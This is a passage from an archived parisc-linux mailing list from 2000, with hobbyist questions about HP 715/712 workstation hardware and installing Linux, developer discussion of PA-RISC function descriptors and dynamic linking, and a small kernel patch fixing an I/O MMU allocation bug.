Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA25241
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Sep 2000 00:37:04 -0600
Original-Received: (qmail 6606 invoked by uid 15267); 13 Sep 2000 06:37:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6599 invoked from network); 13 Sep 2000 06:37:30 -0000
Original-Received: from mail.videotron.ca (HELO VL-MS-MR003.sc1.videotron.ca) (mail@24.201.245.36)
  by mailserv2.iuinc.com with SMTP; 13 Sep 2000 06:37:30 -0000
Original-Received: from videotron.ca ([207.253.110.16]) by
          VL-MS-MR003.sc1.videotron.ca (Netscape Messaging Server 4.15)
          with ESMTP id G0TBQG03.KWP; Wed, 13 Sep 2000 02:37:28 -0400 
Original-Sender: fleet@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.17 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7939

"T. Martin" wrote:
> 
>  James the Ram on the PA-Risc is proprietary ( I have 4 of these things)
> It won't work in a PC and vice versa.

I thought it was but hoped it was not. Thanks for the info. I can get
some memory from kingston. On the site it has a sugested retail price of
$156 US for 32 megs (Kingston #: KTH715/32). A bit pricey but what can I
do.

>  I hope you got it cheap (as I did) or else you'll be alittle

I got for $10 US + shipping (Is that considered cheap?) cause no one
else wanted it.

> disappointed, the 715/50 running seti@home would perform exactly as my
> P166 the PA running HP-UX 9.03, PC Linux.

It's equivalent (aprox) to a P166? That's really not that bad. I'm
running a SPARCstation 1+ that is equivalent to a 386 (486 at most).:)

> 
>  Not a super box when the Linux port is done these boxes will serve nicly.
> 
> catfish: icq #20116127
> 
> On Tue, 12 Sep 2000, James Waterhouse wrote:
> 
> > Hello,
> >       I just bought a 715/50 off ebay and I have a few questions about it
> > that I hope someone can help me with. I've tried to find answers on hp's
> > site and on the web but have come up with nothing.
> >       First, the leds on the front of the case are for diagnosing the boot
> > process right? They have the same function as the beeps from a pc's
> > bios? If so then does any one know where I can find documentation for
> > these error codes?
> >       Secondly, the box I bought was a bare system... no memory and no hard
> > drive. I know I can put any scsi 2 hard drive in (correct me if I am
> > wrong) but what about memory? The slots look like 72 pin simm slots but
> > that means nothing? Do I have to buy special hp memory or what?
> >       Any help would be greatly apreciated.
> >
> > Thanks,
> > James
> >
> >
> > --
> > Can you discern the signs of the times? || www.danielrevelation.com
> > Do you see the storm fast approaching?  || www.sundaylaw.com
> > Is your future built on "The Rock"?     ||
> > www.bibleinfo.com/sc/toc_sc.html
> >
> > ---------------------------------------------------------------------------
> > To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> > `unsubscribe' as the subject.
> >
> >

-- 
Can you discern the signs of the times? || www.danielrevelation.com
Do you see the storm fast approaching?  || www.sundaylaw.com
Is your future built on "The Rock"?     ||
www.bibleinfo.com/sc/toc_sc.html


From - Thu Nov 08 21:13:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Manus Hattingh <manush@ite.co.za>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Dummies Guide
Date: Wed, 13 Sep 2000 09:39:44 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <01C01D66.8D1B2510@manus>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619125 3564 80.91.229.3 (22 Nov 2014 01:18:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:45 +0000 (UTC)
To: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
Original-X-From: ManusH@ite.co.za  Wed Sep 13 01:54:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA25775
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Sep 2000 01:54:56 -0600
Original-Received: (qmail 20900 invoked by uid 15267); 13 Sep 2000 07:55:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20883 invoked from network); 13 Sep 2000 07:55:21 -0000
Original-Received: from ctb-mesg1.saix.net (196.25.240.73)
  by mailserv2.iuinc.com with SMTP; 13 Sep 2000 07:55:21 -0000
Original-Received: from ite.co.za (epi53-01-14.kn.saix.net)
 by ctb-mesg1.saix.net (Sun Internet Mail Server sims.3.5.1999.03.02.17.58.p5)
 with ESMTP id <0G0T00BMWFBWSG@ctb-mesg1.saix.net> for
 parisc-linux@thepuffingroup.com; Wed, 13 Sep 2000 09:55:09 +0200 (SAT)
Original-Received: from manus [192.8.64.16] by ite.co.za [127.0.0.1] with SMTP
 (MDaemon.v2.84.R) for <parisc-linux@thepuffingroup.com>; Wed,
 13 Sep 2000 09:42:47 +0200
Original-Received: by manus with Microsoft Mail id <01C01D66.8D1B2510@manus>; Wed,
 13 Sep 2000 09:39:45 +0200
X-MDaemon-Deliver-To: parisc-linux@thepuffingroup.com
X-Return-Path: ManusH@ite.co.za
X-MIME-Autoconverted: from quoted-printable to 8bit by puffin.external.hp.com id BAA25775
Xref: news.gmane.org gmane.linux.ports.parisc:7940

Hi there,

I have an idle HP 712/60, and I want to install LINUX. My UNIX knowledge is limited to basic file and network operations. Is there a dummies guide to installing LINUX on the HP and do I have to be an expert?

What would the performance be like, in comparison with NT in Intel processors?

Regards

Manus Hattingh
_______________________________________________________
Integrated Technologies Engineering
Natal and Gauteng
Republic of South Africa
e-mail :	manush@ite.co.za
URL    :	www.ite.co.za
s-mail :	ITE
	PO Box 1941
	Richards Bay
	3900
	Republic of South Africa
voice    :	+27 (0) 35 789 2710
fax       :	+27 (0) 35 789 7620
mobile  :	+27 (0) 83 282 4319




From - Thu Nov 08 21:13:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Park <apark@cdf.toronto.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dummies Guide
Date: Wed, 13 Sep 2000 10:01:55 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0009130954530.22646-100000@misty.cdf>
References: <01C01D66.8D1B2510@manus>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619125 3567 80.91.229.3 (22 Nov 2014 01:18:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:45 +0000 (UTC)
Cc: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: Manus Hattingh <manush@ite.co.za>
Original-X-From: apark@cdf.toronto.edu  Wed Sep 13 08:01:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA30340
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Sep 2000 08:01:52 -0600
Original-Received: (qmail 20902 invoked by uid 15267); 13 Sep 2000 14:02:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20878 invoked from network); 13 Sep 2000 14:02:17 -0000
Original-Received: from marvin.cdf.toronto.edu (postfix@128.100.31.3)
  by mailserv2.iuinc.com with SMTP; 13 Sep 2000 14:02:17 -0000
Original-Received: by marvin.cdf.toronto.edu (Postfix, from userid 605)
	id A05673C07; Wed, 13 Sep 2000 10:01:22 -0400 (EDT)
X-Sender: apark@misty.cdf
In-Reply-To: <01C01D66.8D1B2510@manus>
Xref: news.gmane.org gmane.linux.ports.parisc:7941

On Wed, 13 Sep 2000, Manus Hattingh wrote:

> Hi there,
> 
> I have an idle HP 712/60, and I want to install LINUX. My UNIX knowledge is limited to basic file and network operations. Is there a dummies guide to installing LINUX on the HP and do I have to be an expert?

http://thepuffingroup.com/parisc/recipe.html

There really isn't an automated installer.  Although it's missing
some bits and pieces, above site has pretty thorough documentations,
at least it'll get you started.  I'm afraid that it may not be "dummy"
friendly though, but give it a try.

> What would the performance be like, in comparison with NT in Intel processors?

Well, parisc linux is still in the works.  Many features are missing
at the moment, so I don't think it's in compare-able (is this a word?)
shape.


Andrew Park
           
________________________________________________________________________ 
CDFlab Systems Administrator                       www.cdf.utoronto.ca |
GnuPG Signature              www.cdf.utoronto.ca/~apark/public_key.txt |
------------------------------------------------------------------------



From - Thu Nov 08 21:13:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] userspace function pointers in the kernel
Date: Wed, 13 Sep 2000 10:11:03 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <200009131711.KAA21176@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416619126 3569 80.91.229.3 (22 Nov 2014 01:18:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:46 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "Alan Modra" <alan@linuxcare.com.au>,
        "David Huggins-Daines" <dhd@linuxcare.com>
Original-X-From: cary@cup.hp.com  Wed Sep 13 11:11:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA00360
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Sep 2000 11:11:00 -0600
Original-Received: (qmail 32281 invoked by uid 15267); 13 Sep 2000 17:11:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31341 invoked from network); 13 Sep 2000 17:11:07 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 13 Sep 2000 17:11:07 -0000
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by palrel3.hp.com (Postfix) with ESMTP
	id E1BB8185; Wed, 13 Sep 2000 10:11:05 -0700 (PDT)
Original-Received: from [15.0.100.219] (hpadl716.cup.hp.com [15.0.100.219])
	by adlmail.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA21176;
	Wed, 13 Sep 2000 10:11:05 -0700 (PDT)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:7942

>The model I'm thinking of for elf32-hppa is along these lines:
>
>o  The linker creates a plt entry for all plabel relocs.  plt entries for
>   elf32-hppa are a function address, linkage table pointer pair, so
>   there's no need for the dynamic linker to allocate fptrs.
>o  A dynamic plabel reloc will have the function symbol, and an addend
>   into the plt.  This is a rather unusual reloc because the function
>   symbol value is ignored when calculating the final value.
>o  The dynamic linker builds a list or hash table of function symbols
>   versus plt offsets, and adjusts plabels so that only one plt entry is
>   ever used per function.

This is close to how it works on HP-UX, but we didn't use the table in 
your third bullet, so it became possible for the dynamic loader to come 
up with one function descriptor (PLT entry) one time, and a different one 
the next time.

Another thing you need to watch out for is when a library is dlclosed. 
Because the PLT entries are allocated when you see the reference -- not 
the definition -- you may not have a candidate PLT entry in the load 
module that contains the definition of the function (unless you also 
allocate PLT entries for all exported symbols). This means that you might 
be asked to dlclose a library that contains the PLT entry that is 
currently in use as the official function pointer for a function in 
another load module. If you go ahead and deallocate the library, you're 
hosed.

-cary


From - Thu Nov 08 21:13:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Waterhouse <james.waterhouse@videotron.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: hp 715/50 questions
Date: Wed, 13 Sep 2000 13:33:16 -0400
Lines: 63
Approved: news@gmane.org
Message-ID: <39BFBA5C.1E85592A@videotron.ca>
References: <39BE88C2.70325813@videotron.ca> <39BFAF86.D5302EB7@vst.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619126 3570 80.91.229.3 (22 Nov 2014 01:18:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:46 +0000 (UTC)
To: Wolfgang Herrfeld <w.herrfeld@vst.net>, parisc-linux@thepuffingroup.com,
        debian-hppa@lists.debian.org
Original-X-From: james.waterhouse@videotron.ca  Wed Sep 13 11:32:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA00844
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Sep 2000 11:32:54 -0600
Original-Received: (qmail 31123 invoked by uid 15267); 13 Sep 2000 17:33:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31109 invoked from network); 13 Sep 2000 17:33:16 -0000
Original-Received: from mail.videotron.ca (HELO VL-MS-MR002.sc1.videotron.ca) (mail@24.201.245.36)
  by mailserv2.iuinc.com with SMTP; 13 Sep 2000 17:33:16 -0000
Original-Received: from videotron.ca ([207.253.109.178]) by
          VL-MS-MR002.sc1.videotron.ca (Netscape Messaging Server 4.15)
          with ESMTP id G0U63F04.C7H; Wed, 13 Sep 2000 13:33:15 -0400 
Original-Sender: fleet@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.17 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7943

Hello Wolfgang,
	I still have no info on the leds. Any help from you would be greatly
appreciated. (since I have no info as of yet). Also about the ram...
what are the chances of my 715 being hurt if I try pc ram in it? Will I
hurt the hp if I try pc ram in it?

James

p.s. by the way how do I tell ecc ram from normal ram? Is ecc ram the
ram with 9 chips on it?


Wolfgang Herrfeld wrote:
> 
> Hi James,
> 
> first, I can send you docu about the leds and their meaning, but have to search
> in my archiv; second: you can use normal ps/2 ram, but I suggest that ecc
> (error-correction) is needed, what makes it a little more difficult to find such
> modules.
> 
> somehow you can use normal scsi-drives but in rare case it's possible that the
> one or other is causing trouble (not recognised).
> 
> tell me if you've already info about the leds, please ...
> 
> greatings        wolfgang.
> 
> James Waterhouse wrote:
> 
> > Hello,
> >         I just bought a 715/50 off ebay and I have a few questions about it
> > that I hope someone can help me with. I've tried to find answers on hp's
> > site and on the web but have come up with nothing.
> >         First, the leds on the front of the case are for diagnosing the boot
> > process right? They have the same function as the beeps from a pc's
> > bios? If so then does any one know where I can find documentation for
> > these error codes?
> >         Secondly, the box I bought was a bare system... no memory and no hard
> > drive. I know I can put any scsi 2 hard drive in (correct me if I am
> > wrong) but what about memory? The slots look like 72 pin simm slots but
> > that means nothing? Do I have to buy special hp memory or what?
> >         Any help would be greatly apreciated.
> >
> > Thanks,
> > James
> >
> > --
> > Can you discern the signs of the times? || www.danielrevelation.com
> > Do you see the storm fast approaching?  || www.sundaylaw.com
> > Is your future built on "The Rock"?     ||
> > www.bibleinfo.com/sc/toc_sc.html
> >
> > --
> > To UNSUBSCRIBE, email to debian-hppa-request@lists.debian.org
> > with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org

-- 
Can you discern the signs of the times? || www.danielrevelation.com
Do you see the storm fast approaching?  || www.sundaylaw.com
Is your future built on "The Rock"?     ||
www.bibleinfo.com/sc/toc_sc.html


From - Thu Nov 08 21:13:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PATCH: xxxx_alloc_range()
Date: Wed, 13 Sep 2000 13:44:14 -0700 (PDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <200009132044.NAA04417@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619126 3574 80.91.229.3 (22 Nov 2014 01:18:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Sep 13 14:40:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA02485
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Sep 2000 14:40:14 -0600
Original-Received: (qmail 7586 invoked by uid 15267); 13 Sep 2000 20:40:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7560 invoked from network); 13 Sep 2000 20:40:40 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 13 Sep 2000 20:40:40 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 6F85A4CD
	for <parisc-linux@thepuffingroup.com>; Wed, 13 Sep 2000 13:40:39 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id NAA04417
	for parisc-linux@thepuffingroup.com; Wed, 13 Sep 2000 13:44:14 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7944

Summary -----------
Thanks to Ryan Bradetich for asking the right questions...we found
a resource management bug I created in both ccio-dma.c and sba_iommu.c.
Ryan will update ccio-dma.c and I'll do the same for sba_iommu.c
once we've had a chance to test it on the respective machines.

Details -----------
This bug would cause the system to HPMC or corrupt memory if more
than one DMA is outstanding at a time. This generally won't occur
until the system starts multitasking.

Doesn't affect A180 or similar machines w/o an I/O MMU.

The problem is the resource bit map gets out of sync
with the I/O Pdir usage and we can end up using the same I/O
pdir entries for more than one DMA...obivously this won't
work. The symptom will depend on when the first consumer
unmap's the DMA WRT when the second consumer uses it.

sorry,
grant

Index: sba_iommu.c
===================================================================
RCS file: /home/cvs/parisc/linux-2.3/arch/parisc/kernel/sba_iommu.c,v
retrieving revision 1.21
diff -u -p -r1.21 sba_iommu.c
--- sba_iommu.c 2000/08/30 15:43:52     1.21
+++ sba_iommu.c 2000/09/13 20:30:33
@@ -394,7 +394,7 @@ static int sba_alloc_range(struct ioc *i
        ASSERT(pages_order < (BITS_PER_LONG - IOVP_SHIFT));
 
        pages_mask= (u_long) -1L;
-       pages_mask >>= BITS_PER_LONG - pages_order;     /* clear top bits */
+       pages_mask >>= BITS_PER_LONG - pages_needed;    /* clear top bits */
 
 #if 0
        /*


From - Thu Nov 08 21:13:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Function descriptors, etc. (was Re: [parisc-linux] userspace function pointers in the kernel)
Date: 13 Sep 2000 18:04:58 -0400
Organization: Linuxcare, Inc.
Lines: 132
Approved: news@gmane.org
Message-ID: <878zswj6d1.fsf@linuxcare.com>
References: <Pine.LNX.4.21.0009131447590.613-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-=-="
X-Trace: ger.gmane.org 1416619127 3576 80.91.229.3 (22 Nov 2014 01:18:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:47 +0000 (UTC)
Cc: Cary Coutant <cary@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Wed Sep 13 16:45:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA03981
	for <parisc-linux@puffin.external.hp.com>; Wed, 13 Sep 2000 16:45:09 -0600
Original-Received: (qmail 8389 invoked by uid 15267); 13 Sep 2000 22:45:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8380 invoked from network); 13 Sep 2000 22:45:36 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 13 Sep 2000 22:45:36 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13ZKeK-0007is-00; Wed, 13 Sep 2000 18:05:00 -0400
Original-Lines: 100
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7945

--=-=-=

Alan Modra <alan@linuxcare.com.au> writes:

> The model I'm thinking of for elf32-hppa is along these lines:
> 
> o  The linker creates a plt entry for all plabel relocs.  plt entries for
>    elf32-hppa are a function address, linkage table pointer pair, so
>    there's no need for the dynamic linker to allocate fptrs.
> o  A dynamic plabel reloc will have the function symbol, and an addend
>    into the plt.  This is a rather unusual reloc because the function
>    symbol value is ignored when calculating the final value.
> o  The dynamic linker builds a list or hash table of function symbols
>    versus plt offsets, and adjusts plabels so that only one plt entry is
>    ever used per function.

Reasons why the IA-64 scheme is better:

        a) In the scheme above, we cannot index the list/table by the
        code address of the function in the PLT slot, because the PLT
        will usually not have been relocated at the point when PLABEL
        relocations are being processed.  Thus we have to:

                1) Relocate PLT slots as we encounter them in PLABEL
                   relocations, or
                2) Store a copy of the code address in the table apart
                   from the PLT slot, or
                3) Index the table by the address of the Elf32_Sym
                   structure, by the symbol name (I think this is
                   fraught with peril), or by something else.  This
                   also requires another field in the table apart from
                   the PLT slot.

        b) The IA-64 code uses a one-to-one mapping of function code
        addresses to function descriptors, not symbols to function
        descriptors, and indexes the list/table by the code address.
        I'm not sure whether this is important or not, but something
        tells me it is.

        c) We will still have to dynamically allocate function
        descriptors for symbols obtained with dlopen() and dlsym().
        First of all, we won't have a special PLABEL relocation, so we
        would have to search the PLT of the loaded object "manually".
        Also, think about the case where:

                - libfoo.so defines foo() strongly
                - libfoo2.so defines foo() weakly
                - libfoo2.so defines bar() which calls foo()
                - our program links against libfoo.so and libfoo2.so
                - our program calls foo()
                - our program calls bar()
                - our program dlopen()s libfoo2.so
                - our program calls dlsym(libfoo2, "foo")
                - oops!  the PLT slot for foo() in libfoo2.so points
                  to the strong definition in libfoo.so, so it's
                  useless as a function descriptor.
                - I've attached a tarball of this testcase.  Run it on
                  i386 and IA-64 and see what it does :-)

        d) If we have to dynamically allocate function descriptors as
        well as uniquify relocations to PLT slots, then we basically
        have to duplicate the code in dl-fptr.c, and we lose.
        
Can we please use the IA-64 scheme or something very close to it?
(i.e. closer than what you've proposed, which, in attempting to
implement it in ld.so, does not appear to be close enough) It is
already implemented and debugged, I had it successfully working last
week modulo problems with initializers and finalizers, and I don't see
there being a significant gain in performance or memory usage with the
scheme outlined above.

What I suggest is the following:

* The linker still creates a PLT entry for all PLABEL relocs.  This is
  undoubtedly useful for local symbols, and allows us to take
  advantage of lazy linking for them (potentially a big win in libc.so
  which uses lots and lots of vtables).

* We don't have to generate dynamic function descriptors for PLABEL
  relocations to local symbols because we know that their PLT entries
  are and will remain unique to their code addresses.  Again, a win.

* Dynamic PLABEL relocs will either be *ABS* or .plt relative and
  pointing to the PLT slot for local symbols, or contain the function
  symbol and no addend for global symbols.  For the latter we will
  generate unique function descriptors dynamically using the same code
  as on IA-64.  Yes, we lose 12 bytes of memory per global symbol this
  way.  I don't think that's a big deal given that it allows us to use
  the same code path for these symbols and for dlsym().

* dlsym() will always generate a unique function descriptor dynamically.

I've implemented this and checked it in (it kludges around the addends
on global PLABEL relocations, that is easy to fix :-).  It passes my
other tests but the one below causes the linker to segfault.


--=-=-=
Content-Type: application/x-gtar
Content-Disposition: attachment; filename=weaksymtest3.tar.gz
Content-Transfer-Encoding: base64
Content-Description: Interaction of dlsym() and weak dynamic symbols

H4sIAJrxvzkAA+1YzW8bRRQfJ6bF20IDVAiJy5AmYp3Gm/3yruqkVYVjqkpJG6VEPUDlrHfX2HSz
a+x1U4SAQySkKPxRkegBzly5IlWCA9xyiGTe2x2v18bFRXKDoPOTZmfex8x745k3b8b7rvWw88Ve
6HZCbYW8GMiyLpvFItSyYhbldN0HkU2laJqmbCgmkRXFUA1Ciy/InyF0O6HVppQ4Dedv9SbJ/6PY
T6+/16zVg0CV7OnakBVZNnT9meuvwGLH62/opqKBvqapKqHydN0Yj5d8/Zt+SKtVKwzbzVo3dKtV
UcQtkc9T2Anio6Dp5IUvhVzbDbttnxrXVoWvBAE71az2X8TYJY8a//asOJ4XQ/GPX9vquFIwVRsT
4l/V1MH5X9QUjH9DNnj8nwW+qWx8mMlkEjpDZkkmJf+OEXr0FckF8upQ/53DXw5+u3zv4MnJ09Ne
r3d4vNVAdkQcPJlL8y8M8z+babyd4hweH1ZOgd24AsyjyulWIqicAPvowUnvJxzl/VQf5fhXcvTg
6Y/fk8QrdFdWJFmBGo4j2uzQRUcgcFr1m1KS5joBqmBR+0Jyq1wuUfHWnZ08VaVrRUmlKu5RTdGo
uO7WmpZPQbiy0fS7j/OESBg7Vg3qsB3XjX4rdB+HRGq7Hms5VmgRqdbpEMkPQhdEQcyyg7091w+f
f83eZfM8x+ibUL5NyedY/R6UXIrfyhKyy3jYH8jod7vK6Fmm98OIvSyrFaY/Sc+Acj7FR73LKbq/
v9ZYe4bRP0PRxuitp9qIS0CsjNF7I+Ub4gYINsfopW1G40On36HGtJVj85hj7fR4ejb2eXS8UaT5
WfJHLy2bHek1O2QB6Sy5+MzRUH5uhH5lhD4f7Q8E7ok3oT9NyXFeCyP01RF6ZYQ2RmiS5AmbfGrb
ahV2cKvpuY5E9qymHwVVqw2XhDrGHXG8oOX6UEGsEDwEZuCHfgtnBlN5B2lgYtTPXGR7Efgy419n
9AdIv0bINqM/Rvp1Qj5n9COmz/HPMD7/T/cBMOn+r5lacv83TD3K//AM4Pn/DHCl6dte13HpmuPV
bV9q3Iiv9xjIYnS3x0s+XWpYvuO5q0IOheIS5sx8fP9fFYRcHO3ifJJxP/Hnl+PnAMgTcZKFIzG+
ICJxPDa9TuOTQpxPp2hQ3P5oY7165+591I2SNWrCphXjjssU7c6nDQ1Set8RNTbFHioyf6QwjHn/
T/v5PzH+ZS15/yvx/z+aqss8/s8CGM7jXvq6ykPkZcBQ/G9aD906XOSmbGNS/OuqOnj/m3IU/0WT
x/9ZwPK8Uon2L36UZYBOQAcZWBAW4Vuii5IXCLkFsVzO00KnYbVdhxYCunCTLqyhjhfp2IlKfet2
mRbsgY60tV0p3767c4+NJfTNDhyQgvEu9MeMhkopF+57y4V2ywobUXO3te/s0sKGRAse3kWirwqV
4wmC7bmWX8KhtjfRPboETsAHLCXzX/qan3kcHBwcHBwcHBwcHBwc/0P8CS0V3kYAKAAA
--=-=-=


-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.

--=-=-=--


From - Thu Nov 08 21:13:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Craig Hada <chada@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Qn on PA-RISC Page tables and TLB
Date: Mon, 29 Mar 1999 08:01:20 -0800
Lines: 43
Approved: news@gmane.org
Message-ID: <199903291601.IAA09728@psalpha2.cup.hp.com>
References: <Pine.LNX.3.96.990328122620.118A-100000@quark.ix.netcom.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619127 3577 80.91.229.3 (22 Nov 2014 01:18:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:47 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: chada@cup.hp.com  Mon Mar 29 11:07:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id LAA28977
	for <parisc-linux@sod.res.cmu.edu>; Mon, 29 Mar 1999 11:07:10 -0500
Original-Received: (qmail 20283 invoked by uid 15267); 29 Mar 1999 16:05:45 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 20276 invoked from network); 29 Mar 1999 16:05:45 -0000
Original-Received: from hpcsos.col.hp.com (15.255.240.16)
  by mailserv2.iuinc.com with SMTP; 29 Mar 1999 16:05:45 -0000
Original-Received: from psalpha2.cup.hp.com (psalpha2.cup.hp.com [15.13.189.229])
	by hpcsos.col.hp.com (Postfix) with ESMTP for <hppa-linux@thepuffingroup.com>
